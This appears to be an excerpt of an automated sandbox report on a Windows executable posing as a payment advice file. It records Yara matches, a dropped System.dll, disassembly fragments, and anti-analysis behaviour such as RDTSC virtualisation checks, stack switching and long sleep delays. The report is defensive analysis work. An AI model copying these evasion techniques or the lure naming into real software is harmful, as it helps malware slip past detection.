Source: Yara match	File source: 00000000.00000002.1875584401.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 7156, type: MEMORYSTR

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Code function: 0_2_73401B63 LdrInitializeThunk,GlobalAlloc,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,lstrcpyW,GlobalFree,LdrInitializeThunk,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,LdrInitializeThunk,LdrInitializeThunk,GetModuleHandleW,LdrInitializeThunk,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73401B63

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_73402FD0 push eax; ret	0_2_73402FFE
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0439FCA9 push FFFFFF8Dh; iretd	0_2_0439FCAD
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0439E2F8 pushfd ; iretd	0_2_0439E2FB
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0439E0D1 push ebx; ret	0_2_0439E0D2
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0439D321 push ds; retf	0_2_0439D328
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0439F31A push edx; iretd	0_2_0439F31B
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0439D7F2 push edx; ret	0_2_0439D7F3
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_00119C30 push esp; retf 0018h	2_2_00119D55
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011B4C7 push dword ptr [ebp+ecx-75h]; retf	2_2_0011B4D2
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_0011B539 push dword ptr [ebp+ebx-75h]; iretd	2_2_0011B53D
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_02EF7C7D push esp; iretd	2_2_02EF7CBE
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_02EF3D30 push 00000039h; retf	2_2_02EF3D32
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C4AE29 push ds; ret	2_2_36C4AE2A
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C4AE31 push ds; ret	2_2_36C4AE32
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C4F781 push ecx; ret	2_2_36C4F782
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C4F77D push ecx; ret	2_2_36C4F77E
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C49CD7 push ss; ret	2_2_36C49CDA
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C494E7 push cs; ret	2_2_36C494EA
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C489C0 push es; ret	2_2_36C489C2
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36C48928 push es; ret	2_2_36C4892A
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB660B pushad ; retf	2_2_36CB660E
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB6609 pushad ; retf	2_2_36CB660A
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB6603 pushad ; retf	2_2_36CB6606
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB0023 push esp; ret	2_2_36CB0036
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB0DE0 pushad ; ret	2_2_36CB0DE2
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB65FB pushad ; retf	2_2_36CB6602
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CBDDF3 pushfd ; rep ret	2_2_36CBDDF5
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB1B91 push 68B836C3h; ret	2_2_36CB1B9A
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CB1703 push esp; ret	2_2_36CB1705
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36CF637B push ebp; retf 0036h	2_2_36CF6382
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 2_2_36D35ED5 push edi; iretd	2_2_36D35ED6

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

File created: C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	API/Special instruction interceptor: Address: 43B0B34
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	API/Special instruction interceptor: Address: 2EF0B34

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	RDTSC instruction interceptor: First address: 434344B second address: 434344B instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F12E933F167h 0x00000006 cld 0x00000007 inc ebp 0x00000008 inc ebx 0x00000009 cmp dl, al 0x0000000b rdtsc
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	RDTSC instruction interceptor: First address: 2E8344B second address: 2E8344B instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F12E87D71D7h 0x00000006 cld 0x00000007 inc ebp 0x00000008 inc ebx 0x00000009 cmp dl, al 0x0000000b rdtsc

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Memory allocated: 339C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Memory allocated: 359C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599322	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597567	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595248	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594670	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Thread delayed: delay time: 594562	Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Window / User API: threadDelayed 7667			Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Window / User API: threadDelayed 2187			Jump to behavior

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe

API coverage: 2.3 %

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5304	Thread sleep count: 7667 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 5304	Thread sleep count: 2187 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -599322s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597567s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe TID: 4476	Thread sleep time: -595468s >= -30000s	Jump to behavior
